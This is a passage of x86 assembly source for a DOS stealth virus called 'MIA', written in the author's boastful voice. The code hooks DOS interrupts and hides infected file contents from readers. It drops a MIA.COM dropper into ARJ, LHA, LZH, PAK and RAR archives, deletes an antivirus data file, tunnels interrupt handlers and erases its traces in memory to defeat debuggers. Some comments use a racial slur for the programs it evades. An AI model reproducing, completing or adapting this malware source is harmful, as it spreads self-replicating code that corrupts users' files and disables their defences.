 cmp    ax,cx
 jb     Overlook               ; Jump if CF=1, user tries to enlarge file size,
                               ; disinfect the file!
Detach:
 jcxz   Overlook               ; Jump if CX=zero, user tries to truncate file
 les    dx,ds:dword ptr [LowPos]
 mov    cx,es
 dec    cx
 jge    Generic                ; Branch if SF = OF
 cmp    dx,0018h
 jb     Overlook               ; Jump if below 24, user tries to write to
                               ; header area, disinfect the file!
Generic:
 call   Flop                   ; Restore all registers
 popf                          ; and flags
 int    03h                    ; Execute DOS request
 pushf                         ; Push flags
 jc     Salvation
 pusha                         ; Save all registers except segment ones
 mov    ax,5700h
 int    03h                    ; Get file date/time stamps
 cmp    dh,38h           
 jnb    Futuristic             ; Jump if not below
 adc    dh,0C7h
 inc    ax                     ; Set file date/time stamps
 int    03h

Futuristic:
 popa                          ; Restore all registers except segment ones

Salvation:
 jmp    Request


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=3Fh/40h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Fervour:
 call   Verify                 ; ????
 call   Flip                   ; Push all registers
 push   ds
 pop    es
 push   cs
 pop    ds
 mov    ds:[R_Bytes],cx        ; Save bytes count
 mov    ds:[ReadOff],dx        ; Save buffer offset
 push   cx

 mov    al,01h
 call   Lseeker                ; Get pointer's current position
 mov    ds:[LowPos],ax
 mov    ds:[HiPos],dx          ; And store it onto stack
 and    ds:[HeadSiz],cx        ; Make it zero
 call   Lseek_EOF              ; Move pointer to EOF and get file size DX:AX
 mov    ds:[LowSiz],ax
 mov    ds:[HiSiz],dx          ; Save it too

 mov    ax,4200h
 mov    cx,ds:[HiPos]
 mov    dx,ds:[LowPos]         ; Move pointer back to previous position
 int    03h
 pop    cx                     ; CX = Bytes to read
 mov    ax,ds:[LowSiz]         ; Get low-word file size
 mov    dx,ds:[HiSiz]          ; Get high-word file size

 sub    ax,VirLen              ; Adjust file size - virus length
 sbb    dx,0000h
 jc     Too_Small              ; File size is smaller than virus length?
 sub    ax,ds:[LowPos]         ; Subtract current R/W position from it
 sbb    dx,ds:[HiPos]
 pushf
 cmp    ss:byte ptr [bp + 11h],40h
 jne    Readfile
 popf                          ; Restore flags state
 jmp    Disinfect

Insufficient:
 xor    ax,ax                  ; Return AX = zero

Outland:
 mov    ss:[bp + 10h],ax       ; SS:[BP+10h] = AX on stack
 and    ss:byte ptr [bp + 12h],0FEh
 jmp    Unclasp

Readfile:
 popf
 js     Insufficient           ; Jump if read pointer reaches MIA's body
 jnz    Auspice
 cmp    ax,cx                  ; Did He try to read too many bytes?
 jae    Auspice
 mov    ds:[R_Bytes],ax        ; Who dares to harm My sweet MIA ?? 8-S

Auspice:
 mov    cx,ds:[HiPos]
 mov    dx,ds:[LowPos]
 dec    cx                     ; Across 64K boundary??
 jnl    Overcross              ; Jump if so
 cmp    dx,0018h               ; Pointer is within header?
 jb     Backspin               ; Jump if so

Overcross:
 push   es
 mov    ah,3Fh                 ; Read the rest of file
 les    dx,ds:dword ptr [ReadOff]
 mov    cx,es
 pop    ds
 int    03h
 db     05h                    ; ADD  AX,XXXX

HeadSiz dw 1983h               ; AX holds number of bytes been read

 jmp    short Outland

Backspin:
 mov    di,dx                  
 add    di,ds:[R_Bytes]        ; Position + number of bytes to read
 cmp    di,0017h               ; Exceed 24 bytes range?
 jbe    Flexible               ; Jump if below or equal
 mov    di,0018h


                      SubTtl Labora ut in aeternum vivas


Flexible:
 sub    di,0019h               ; (Negative)
 not    di                     ; Re-swap it to positive, DI = remainder
 mov    cx,ds:[HiSiz]          ; Get infected size
 mov    dx,ds:[LowSiz]
 call   Read_Head              ; Read original file header within virus body
 jz     Viral_Phile            ; and check whether it's really infected or not

Restore_Pointer:
 mov    ax,4200h
 les    dx,ds:dword ptr [LowPos]
 mov    cx,es
 int    03h                    ; Lseek to original location

Too_Small:
 jmp    short Make_Stand       ; Bye, bye...

Viral_Phile:
 mov    ax,4200h
 mov    cl,18h                 ; 24 bytes
 sub    cx,ds:[LowPos]         ; Subtract current position from CX
 sub    cx,di                  ; Subtract modulus from CX
 mov    dx,cx
 add    si,ds:[LowPos]         ; Adjust offset relative to buffer
 mov    di,ds:[ReadOff]        ; Get offset of (original) read buffer
 repe   movsb                  ; Copy original header to caller's read buffer
                               ; (do nothing if CX=zero)
 add    ds:[ReadOff],dx        ; Adjust read buffer offset
 sub    ds:[R_Bytes],dx        ; Subtract read count
 add    ds:[HeadSiz],dx
 add    dx,ds:[LowPos]         ; Read position + read bytes = new position
 int    03h
 jmp    short Overcross


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=48h/67h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; When either of these 2 function is invoked,  MIA checks the value in BX for
; FFFFh word which, in function AH=48h,  usually called to get largest memory
; block available,  this seems unlikely to be generated when calling function
; AH=67h, if this condition matches the actual case,  MIA makes an attempt to
; allocate new memory block with random strategy,  if this succeeds, then MIA
; will move all the codes  to new memory block and erase traces  in old block
; before freeing it, this try will never be done if the fake ROM BIOS INT 13h
; handler has not installed since MIA could not determine where the viral INT
; 13h vector was stored by DOS (to be able to change the segment). In another
; case,  when BX is not FFFFh or fake ROM BIOS INT 13h is not installed,  MIA
; looks for one  .ARJ, .LHA, .LZH, .PAK, or .RAR  file that doesn't have time
; stamp with 60 secs and drops a dropper into the archive by then.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


Removable:
 call   Flip                   ; Push all registers
 push   cs
 inc    bx                     ; Does caller wants to allocate all available
 pop    ds                     ; memory? do another thing if not
 jnz    Craze                  
 cmp    ds:[Fake_ROM],bl       ; Fake ROM BIOS installed?
 jna    Craze                  ; Jump if not installed
 mov    ax,5802h               ; DOS function AX=5802h, get UMB link state
 mov    si,bx
 and    di,si 
 int    03h                    ; If CF=0,
 cbw                           ; AL = 00h ÄÄÄ UMB is unavailable or
 push   ax                     ; AL = 01h ÄÄÄ UMB is in DOS memory chain
 or     al,01h
 mov    bx,5803h               ; DOS function AX=5803h, set UMB link state
 xchg   ax,bx
 int    03h
 mov    ax,5800h               ; DOS function AX=5800h, get current memory
 int    03h                    ; allocation strategy
 push   ax                     ; Save it

 mov    al,offset Bait - offset Alloc
 mov    bx,offset Alloc
 call   Ranger
 xlat                          ; MOV AL,DS:[BX+AL]
 mov    bx,5801h               ; DOS function AX=5801h, set memory allocation 
 xchg   ax,bx                  ; strategy
 int    03h                    ; Try to reset strategy
 mov    ah,48h                 ; Allocate new memory block for My sweet... 8-D
 mov    bx,VirPar              ; My baby's resident size in paragraph
 int    03h                    
 jnc    Blocked                ; Jump if succeeded

Blockless:
 mov    ax,5801h               ; Reset memory allocation strategy
 pop    bx
 int    03h
 mov    ax,5803h               ; Reset UMB link state
 pop    bx
 int    03h

Make_Stand:
 call   Flop                   ; Restore all registers

Dash:
 jmp    Clueless


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=00h/4Ch dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Revenge:
 push   ax cs                  ; Save return code onto stack
 mov    ax,4301h               ; DOS function AX=4301h, set file's attributes
 xor    cx,cx                  ; Zero CX
 mov    dx,offset Retro
 pop    ds
 int    03h                    ; Clear attributes of ANTI-VIR.DAT file
 jc     Miss                   ; file not found?
 mov    ah,3Ch                 ; DOS function AH=3Ch, create/truncate file
 mov    bh,3Eh
 int    03h                    ; Truncate (and open) it!
 jc     Miss                   ; Error?
 xchg   ax,bx
 int    03h                    ; Just close it
 mov    ah,41h                 ; and unlink it
 int    03h

Miss:
 pop    ax
 jmp    short Dash

Qualified:
 mov    ah,1Ah
 lds    dx,ds:dword ptr [Decryptor + 04h]
 int    03h                    ; Restore original DTA
 popf
 jc     Make_Stand             ; Branch if not found
 mov    si,offset Decryptor + 26h

Orbit:
 push   cs
 pop    ds
 jmp    Macron                 ; Drop MIA.COM into ARJ/LHA/LZH/PAK/RAR archive

Blocked:
 push   cs ax                  ; AX = segment of newly allocated block
 mov    cx,VirZon / 02h        ; All codes and variables
 mov    es,ax
 repe   movsw                  ; Move MIA to new location, 8-)
 push   offset Newland
 retf                          ; Just jump to it

Craze:
 mov    ah,2Fh
 int    03h                    ; Get current DTA address
 mov    ah,1Ah
 mov    dx,offset Decryptor + 08h
 mov    ds:word ptr [Decryptor + 04h],bx
 mov    ds:word ptr [Decryptor + 06h],es
 int    03h
 mov    ax,(offset Suckers - offset Cards) / 06h
 call   Ranger                 ; Choose one of five kinda wild card masks to
 imul   ax,0006h               ; look for
 add    ax,offset Cards
 mov    dh,4Eh                 ; Function AH=4Eh, find first filename DS:DX
 xchg   ax,dx

Find_Next:
 int    03h
 pushf
 jc     Qualified              ; Not found?
 mov    al,ds:byte ptr [Decryptor + 1Eh]      
 and    al,1Fh                 ; Get number of seconds
 sub    al,1Eh                 ; 60 seconds (invalid) ?
 jnz    Qualified              ; Nope, so not infected yet (or archive has been
 mov    ah,4Fh                 ; modified since last infection)
 popf
 jmp    short Find_Next        ; Find next .ARJ/.LHA/.LZH/.PAK/.RAR file

Newland:                       ; Have a nice place!! 8-)
 dec    ax                     ; Point AX to new MCB
 and    bx,cx
 mov    ds,ax
 call   Remark                 ; Mark this block as owned by IO kernel

 cbw                           ; Convert byte into word
 mov    ds,bx
 mov    ds:[bx + 62h],cs       ; New segment for INT 18h handler
 mov    ds:[04F3h],cs          ; New segment for INT 40h jumper
 mov    al,cs:[Button]         ; Fake INT 09h number
 mov    bl,cs:[Fake_ROM]       ; Fake INT 13h number
 mov    cl,cs:byte ptr [Interstice + 01h]
 xchg   si,ax
 mov    di,cx
 mov    cl,02h
 shl    bx,cl
 rol    si,cl                  ; Multiply by 4
 sal    di,cl
 mov    ds:[bx + 02h],cs       ; Set DOS patcher interrupt segment
 mov    ds:[si + 02h],cs       ; Set fake INT 13h segment
 mov    ds:[di + 02h],cs       ; Set fake INT 09h segment

 xor    ax,ax               
 mov    cx,VirPar * 08h        ; Virus block size in words
 sub    di,di                  ; Erase everything in old block...
 pop    es                     ; I'd miss You so much, old block... 8-)
 repe   stosw                  
 mov    ah,49h
 int    03h
 jmp    Blockless


                     SubTtl Experientia docent sapientiam


Unarchive:
 mov    ah,51h                 ; Get current PSP segment into BX
 int    03h
 dec    bx                      
 mov    es,bx                  ; ES points current program's MCB
 mov    bx,0008h               ; MCB owner name is at offset 8
 mov    dx,offset Suckers      ; This is the list of the niggas around us
 mov    si,dx

Addfile:
 mov    cx,bx                  ; 8 bytes for filename (without extension)
 mov    di,cx
 db     2Eh                    ; CS: override
 lodsb

Probable:
 repnz  scasb                  ; Scan ES:[DI] for AL
 jcxz   Inzip
 db     2Eh                    ; CS: override
 cmpsw                         ; Compare next word
 je     Forgone
 cmp    di,000Dh               ; Impossible!
 jb     Probable

Inzip:
 add    dx,0003h               ; Next nigga!
 mov    si,dx
 cmp    dx,offset Retro
 jb     Addfile                ; Run out?
 cmp    es:word ptr [bx],4C4Ch ; 'LL' ? 
 clc
 jne    Forgone
 mov    al,es:[bx + 02h]       ; ???
 xor    al,30h                 
 cmp    al,09h                 ; ???

Forgone:
 ret

Coverlet:
 push   ds
 sub    ax,ax                  ; Zero AX
 mov    cx,VirLen / 02h        ; Overwrite virus portion in memory...
 pop    es                     ; So virus codes will never be seen every time
 repe   stosw                  ; infected program is being debugged 
 ret


                  SubTtl In silentio et spe fortitudo mea...


Sick:
 mov    dx,ds:[Old_Date]       ; Where We saved the date stamp
 cmp    dh,38h
 jnb    Future_File
 adc    dh,0C7h                ; Add a century

Future_File:
 mov    ax,ds:[Old_Time]
 lds    si,ds:dword ptr [SFT_Off]
 mov    ds:byte ptr [si + 04h],20h

File_Attribs equ byte ptr $ - 01h

 or     ds:byte ptr [si + 06h],40h
 mov    ds:[si + 0Dh],ax       ; Restore/change file time stamp
 mov    ds:[si + 0Fh],dx       ; Ditto... date stamp

 mov    ah,3Eh                 ; Close file handle
 int    03h

Zing:
 mov    al,40h
 lds    dx,cs:[DOS_Floppy]
 call   Vectorize              ; Restore (viral) floppy disk handler

 mov    al,15h
 lds    dx,cs:[IO_Cassette]
 call   Vectorize              ; Restore I/O cassette (OS hook) handler

 mov    al,13h
 lds    dx,cs:[bx - 35h]       ; BX = 0054h
 call   Vectorize              ; Restore DOS disk handler

 push   cs
 pop    ds
 mov    al,ds:byte ptr [Interstice + 01h]
 xchg   di,ax
 mov    ax,0100h               ; Pick an interrupt number
 call   Ranger                 ; Obtain random word in range into AX
 mov    bx,ax
 rol    bx,02h
 xor    si,si
 mov    ds,si
 cmp    ds:[bx],si             ; Check whether the vector is used or not
 jnbe   Unchanged
 cmp    ds:[bx + 02h],si
 ja     Unchanged              ; If used, bail out

 push   cs
 pop    ds
 mov    ds:byte ptr [Interstice + 01h],al
 mov    dx,offset Trapper
 call   Vectorize              ; He he he, this is polymorphic interrupt, 8-)
 push   ds
 sal    di,02h                 ; Multiply by 4, to get vector address in IVT
 pop    es
 stosw                         ; Clear old interrupt vector
 stosw

Unchanged:
 call   Restore_IRQs           ; Restore PIC state

Lollipop:
 call   Flop
 cmp    ah,0Eh                 ; Set default drive?
 je     Leaveall
 cmp    ah,3Eh                 ; Close file handle function?
 jne    Dissimilar
 and    cs:[F_Hand],0000h      ; Ready, steady, go!
 jmp    short Leaveall


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=49h/4Ah dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Freelance:                     ; Protect MIA's current block
 pusha                         ; Push all registers except segment ones
 mov    ax,cs                  ; Virus segment
 mov    bx,es                  ; Segment of block to be freed
 cmp    ax,bx                  ; Compare 'em
 popa                          ; Pop all registers except segment ones
 jne    Unequal                ; Jump if ZF=0
 mov    ax,0009h               ; "Memory block address invalid"

Return_Error:
 popf
 stc                           ; Set CF
 jmp    short Rejected


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=25h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Rehook:
 cmp    al,cs:[Button]         ; Same huh??
 je     Leaveall
 cmp    al,cs:[Fake_ROM]       ; This user really sucks!!!
 je     Leaveall
 cmp    al,cs:byte ptr [Interstice + 01h]
 je     Leaveall

Unequal:
 jmp    Clueless               ; Pass control to DOS

Dissimilar:
 cmp    ax,4B01h               ; Load but not execute program?
 je     Overlay
 cmp    ah,60h                 ; Canonize file/path name?
 jne    Anything               ; Branch if not
 mov    ah,3Ah

Character equ byte ptr $ - 01h

 jmp    short Bad_Func

Anything:
 cmp    ah,6Ch                 ; Extended open/create?
 jne    Unequal
 sub    ax,ax
 xchg   cs:[F_Hand],ax         ; Restore AX and clear viral handle

Leaveall:
 jmp    short Bad_Func


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=3Eh dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Freehand:
 dw     0FB81h                 ; Is it the handle We were saved before?

F_Hand  dw ?                   ; Stored file handle

 jne    Unequal
 push   ax dx
 mov    ax,4400h               ; IOCTL - get device/file handle infos
 int    03h
 rol    dl,01h                 ; Device or file?
 pop    dx ax
 jc     Unequal                ; Branch if device
 popf
 int    03h                    ; Call DOS

Rejected:
 pushf
 jc     Bad_Func               ; Invalid handle?
 call   Flip
 mov    si,offset FileName     ; Where We saved the file drive + path + name
 jmp    Orbit

Overlay:                       ; 'tis usually generated by debugger programs,
 popf                          ; load a program but it ain't gonna be executed
 push   bx
 int    03h                    ; Load the program...
 pop    bx                     ; Restore BX (destroyed by DOS)
 pushf
 jc     Bad_Func               ; File not found?


;ÄÄÄÄÄÄÄÄÄÄÄÄ[ Steal virus portion without disinfects the file ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


 cld                           ; Ah...! DF again!
 call   Flip
 lds    si,es:[bx + 12h]       ; Load entry point vector from parameter block
 cmp    si,0100h               ; Entry point = 0100h ? (.COM file?)
 jne    Inclined               ; Nope, check whether it's an .EXE
 cmp    ds:byte ptr [si],0E9h  ; First instruction is a near JMP ?
 jne    Unclasp                ; No, it's not infected
 mov    bx,ds:[si + 01h]
 mov    cx,ds:[si + 02h]
 add    ch,cl                  ; If CL + CH = zero, the file's infected
 jnz    Unclasp


                 SubTtl Experientia est optima rerum magistra


 mov    di,si                  ; DI = 0100h
 lea    si,[bx - ((offset Decryptor - offset VirBeg) - 100h) + (offset Buffy - offset VirBeg)]
 call   Seamless               ; Decrypt original 24 bytes of .COM file
 jnz    Unclasp                ; ZF=0 ÄÄÄ file's not infected
 push   ds
 mov    ax,ds:[si]             ; Why not LODSW ?
 pop    es
 stosw                         ; Store it into entry point
 mov    ax,ds:[si + 02h]       ; Next word...

Eraser:                        
 stosw
 lea    di,[si - 03h]          ; DI = beginning-of-virus
 call   Coverlet               ; Overwrite virus portion with zeros

Unclasp:
 call   Flop                   ; Restore all registers

Bad_Func:
 jmp    Request                ; Return to interrupt caller

Inclined:
 sub    si,offset Decryptor    ; Check entry point...
 jc     Unclasp                ; Jump if below viral IP
 cmp    si,000Fh               ; Viral .EXE's delta offset mustn't be above 15
 jnbe   Unclasp
 call   Seamless               ; Decrypt original .EXE header
 jnz    Unclasp                ; ZF=0 ÄÄÄ file's not infected
 push   es
 mov    ah,51h                 ; Get current PSP segment into BX
 lea    di,[bx + 0Eh]          ; ES:DI now points at initial (viral) SS:SP
 int    03h
 les    bp,es:[di]             ; Load vector of program's SS:SP
 mov    bp,es:[bp]             ; Copy word on top of stack into BP
 mov    es,bx
 call   Adjust                 ; Adjust Top-Of-Memory field
 pop    es
 mov    ax,ds:[si + 10h]       ; Get initial SP
 dec    ax                     ; What the blaze!! adding stack space??
 dec    ax                     ; (bugfix for MS-DOS that corrupts top word of
 push   ax                     ; program's stack)
 stosw
 mov    ax,ds:[si + 0Eh]       ; Obtain initial SS
 add    bx,0010h               ; Add with PSP size in paragraph
 add    ax,bx                  ; Add with PSP segment
 push   ax
 stosw                         ; Store it into parameter block
 mov    ax,ds:[si + 14h]       ; Get initial IP
 stosw                         ; Store it
 mov    ax,ds:[si + 16h]       ; Obtain initial CS
 add    ax,bx                  ; Add with first segment beyond PSP
 stosw
 xchg   bp,ax                  
 pop    es di
 jmp    short Eraser           ; it'll be initial AX value at program startup


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Dropper's host program ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Program:
 mov    ah,4Ah
 mov    bx,((offset Cards - offset Program) + 10Fh) / 10h
 int    21h                    ; Resize host's MCB
 mov    si,(offset CmdLn - offset Program) + 100h
 mov    ds:[In_SP],sp
 mov    ds:[In_SS],ss          ; Save SP & SS
 int    2Eh                    ; Call COMMAND interpreter
 cli
 mov    ax,4C00h               ; Terminate with exit code 0
 mov    bx,0A000h

In_SS equ word ptr (($ - 02h) - offset Program) + 100h

 mov    sp,0FFFEh

In_SP equ word ptr (($ - 02h) - offset Program) + 100h

 mov    ss,bx
 sti
 int    21h

CmdLn   db 03h,'VER',0Dh
Cards   db '*.ARJ',00h         ; Wild card for ARJ archives infection purpose
        db '*.LHA',00h         ; Wild card for LHA archives infection purpose
        db '*.LZH',00h         ; Wild card for LZH archives infection purpose
;       db '*.MIA',00h
        db '*.PAK',00h         ; Wild card for PAK archives infection purpose
        db '*.RAR',00h         ; Wild card for RAR archives infection purpose
;       db '*.ZIP',00h


;ÄÄÄÄÄÄÄÄÄÄÄ[ Here's the list of suckers (who make MIA paranoid) ]ÄÄÄÄÄÄÄÄÄÄÄÄ


Suckers db 'ARJ'               ; ARJ.EXE - ARJ archiver
        db 'DSK'               ; CHKDSK.EXE/SPEEDDSK.EXE - disk utilities
        db 'EFR'               ; DEFRAG.EXE - disk defragmentation utility
        db 'FTP'               ; FTP.EXE/FTPX.EXE ?????
        db 'IET'               ; DIET.EXE ??
        db 'KUP'               ; BACKUP.COM/BACKUP.EXE/MSBACKUP.EXE
        db 'LHA'               ; LHA.EXE - LHA archiver
        db 'LIX'               ; TELIX archiver
        db 'LTH'               ; ASTEALTH.EXE - stealth parasitic virus detector
        db 'LZH'               ; LZH archiver
        db 'MOD'               ; MODEM.EXE ???
        db 'NDD'               ; Norton Disk Doctor??
        db 'RAR'               ; RAR.EXE - RAR archiver
        db 'UUE'               ; UUENCODE.EXE
        db 'ZIP'               ; PKZIP/*ZIP* - ZIP archivers
Retro   db 'ANTI-VIR.DAT',00h  ; ThunderBYTE TbSetup data file
        db 'command.com'       ; DOS COMMAND interpreter
WinVxD  db '\SYSTEM'
        db '\IOSUBSYS'
        db '\HSFLOP.PDR'       ; MS Windows floppy disk driver file

Alloc   db 00h                 ; Low memory first fit
        db 01h                 ; Low memory best fit
        db 02h                 ; Low memory last fit
        db 40h                 ; High memory first fit (DOS v5.00+)
        db 41h                 ; High memory best fit (DOS v5.00+)
        db 42h                 ; High memory last fit (DOS v5.00+)
        db 80h                 ; First fit, try high then low memory (DOS v5.00+)
        db 81h                 ; Best fit, try high then low memory (DOS v5.00+)
        db 82h                 ; Last fit, try high then low memory (DOS v5.00+)
Bait    db '\MIA.COM',00h      ; Dropper filename (backslash indicates in root)
;       db "Mia, touch Me tenderly, hug Me warmly, kiss Me sweetly... "
;       db "Ohh... imagination feels so fine and the truth hurts like "
;       db "hell, if You ain't mine... Mia, Mia, Mia...",00h


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=19h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Internal:
 cmp    al,83h                 ; Infected program is executed when MIA
 jne    Hurdle                 ; is already resident.
 cmp    si,0BABEh
 jne    Hurdle                 ; Hey baby, I'm right here waiting! 
 cmp    di,0FEEDh
 jne    Hurdle                 ; Yes, this is the real MIA
 call   Frantic                ; Restore INT 03h and dispatch INT 24h
 call   Backbreak              ; Restore extended BREAK state
 call   Swapper                ; Patch INT 21h
 push   cs
 pop    es cx si ds di         ; We won't return to caller, so clean up stack
 mov    bx,bp                  ; Copy relocation constant into BX
 mov    cx,000Ch
 mov    di,offset Buffy
 lea    si,[bx + di]           ; SI = offset of original header in infected file
 sub    bp,bp                  ; Make BP zero
 repe   movsw                  ; Copy original header to virus buffer 
 mov    di,bx
 call   Coverlet               ; Erase virus traces in memory
 push   cs
 pop    ds
 call   Undress                ; Decrypt original file header, *yawn*
 jmp    Overlap

Verify:
 call   Flip
 mov    ax,4400h               ; IOCTL - get handle BX infos
 int    03h
 cmp    dl,80h                 ; Test, device handle or file handle?
 cmc                           ; Complementary carry, toggle CF state
 jna    Fearsome               ; Branch if device
 mov    ax,5700h               ; Get file date/time stamps
 int    03h
 cmp    dh,0C7h
 jbe    Fearsome
 call   Unarchive              ; Some babe!

Fearsome:
 call   Flop
 jna    Device                 ; Jump if not file handle
 ret

Device:
 inc    sp
 inc    sp                     ; Never return, so clean up stack

Hurdle:
 jmp    short Clueless


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=0Eh dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; When an attempt to change current drive is made by DOS,  MIA intercepts it,
; calling the original function,  and tries to drop a file named  MIA.COM  in
; root directory, if this doesn't stall, MIA just infects that file. The file
; is needed by MIA when trying to infect ARJ/LHA/LZH/PAK/RAR archives.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


Dropper:
 popf                          ; function AH=3Bh will destroy it
 int    03h                    ; Change drive/directory
 pushf                         
 call   Flip
 cmp    al,dl                  ; Must be a valid drive
 jna    Surpass
 mov    ah,36h                 ; Get free disk space
 cwd                           ; DL = zero = in current drive
 int    03h
 cmp    bx,Loader + 01h        ; BX = total free clusters on disk
 jb     Surpass

 push   cs
 mov    ax,6C00h               ; Create a new file
 mov    bx,1002h
 mov    cl,20h                 ; With archive attribute
 mov    dx,0010h
 mov    si,offset Bait         ; DS:DX = ASCIZ filename to create
 pop    ds
 int    03h
 xchg   bx,ax
 sbb    cx,0002h               ; CX = 0002h = file has just been created
 jnz    Surpass                ; Error? file exists or disk is write-protected
 push   cs
 pop    ds
 mov    cl,VirVxD              ; 40 bytes
 mov    dx,offset Program
 call   RightWrite             ; Write some fake codes
 pushf
 mov    ah,3Eh
 int    03h                    ; Close file
 popf
 jnz    Unlink
 jmp    Macron                 ; and infect it!


                     SubTtl Expectes alteri quod feceris!


Unlink:
 mov    ah,41h                 ; Delete the file, huh!
 mov    dx,si
 int    03h

Surpass:
 call   Flop                   ; Restore registers

Request:
 call   Frantic                ; Restore INT 03h and dispatch INT 24h
 call   Backbreak              ; Restore extended BREAK state
 call   Swapper                ; Patch INT 21h
 call   Freeware               ; Allow boot-record infection
 call   Scramble               ; Garble some bytes


End_Cloak equ $ - 02h


Achieve:
 popf
 retf   0002h                  ; Return normally as nothing happened

Clueless:
 push   ax ds cs
 pop    ds
 call   Rand16                 ; Obtain random word value
 xor    cs:word ptr [ExOr + 03h],ax
 pop    ds ax
 call   Frantic                ; Restore INT 03h and dispatch INT 24h
 call   Scramble               ; Garble some bytes

Tunnel:
 call   Flip                   ; Push all registers
 push   cs
 pop    ds
 in     al,21h                 ; Get PIC 1 status
 mov    ds:[IRQ],al
 in     al,0A1h                ; Get PIC 2 status
 mov    ds:[IIO],al
 stc
 setalc                        ; Mask all bits
 out    21h,al                 ; Disable IRQ 0 - 7
 out    0A1h,al                ; Disable IRQ 8 - 15
 call   Backbreak              ; Restore extended BREAK state
 neg    al                     ; AL = 01h
 mov    dx,offset Tracer       ; Set INT 01h vector
 call   Vectorize
 push   cs
 xchg   bx,ax                  ; BX = zero
 mov    ss:byte ptr [bp + 13h],06h

Flags equ byte ptr $ - 01h

 pop    ds
 mov    ds:[bx + 27h],dx       ; Store original INT 01h offset
 mov    ds:[bx + 29h],cx       ; Store original INT 01h segment

 mov    ds:byte ptr [bx + 2Bh],0FDh
 xor    ds:word ptr [Trapper + 01h],0F828h
 call   Flop
 popf                          ; Trace flag is now turned on
 jmp    VirEnd                 ; Original INT 21h... 


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 21h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

  
Trapper:
 add    sp,0004h               ; Throw off caller's CS & IP (but keep flags)
 call   Swapper                ; Dispatch INT 21h
 push   ax si bp dx


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Here MIA goes, disables DOS extended BREAK check, MIA doesn't disable IRQ 1
; guess why? I just experienced a keyboard halt when Ctrl-BREAK is pressed at
; the time after IRQ 1 is disabled  (when I was tracing instructions with the
; 'T' command within DEBUG.EXE environment).  I just didn't know, still don't
; know answer to this case, hmmm, could You find the answer, My friend?
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


 pushf                         ; Remember, at this point IF=0
 push   cs
 mov    ax,3300h               ; Get extended BREAK state into DL
 call   VirEnd                 ; Continue INT 21h execution, don't call INT 21h
 pushf                         ; directly, 'cause the previous handler will
 push   cs                     ; be executed twice!
 mov    cs:[Breakstate],dl     ; Store extended BREAK state
 inc    ax
 cwd                           ; Convert word into doubleword
 call   VirEnd                 ; Set extended BREAK = OFF (prevents the user
 pop    dx                     ; from disabling MIA's INT 21h redirector)

 cld                           ; Forgetting to clear DF will mess things up!!!
 mov    si,offset FuncTab      ; "Table of contents"
 mov    bp,sp
 mov    al,ss:[bp + 07h]       ; Get hi-byte of flags on entry to viral handler
 or     al,01h                 ; Set TF
 mov    cs:[Flags],al          ; Store it

Selector:
 db     2Eh                    ; CS: prefix
 lodsb
 cmp    ss:[bp + 05h],al       ; Compare with requested function
 db     2Eh                    ; CS: prefix
 lodsw
 je     Findfunc
 cmp    si,offset Flop         ; No function matched?
 jb     Selector               ; Not yet, loop
 pop    bp si ax
 jmp    short Tunnel


                           SubTtl Fide et sedulites


Findfunc:
 mov    si,ss:[bp + 0Ch]       ; SS:[BP+0Ch] = INT 21h caller's flags
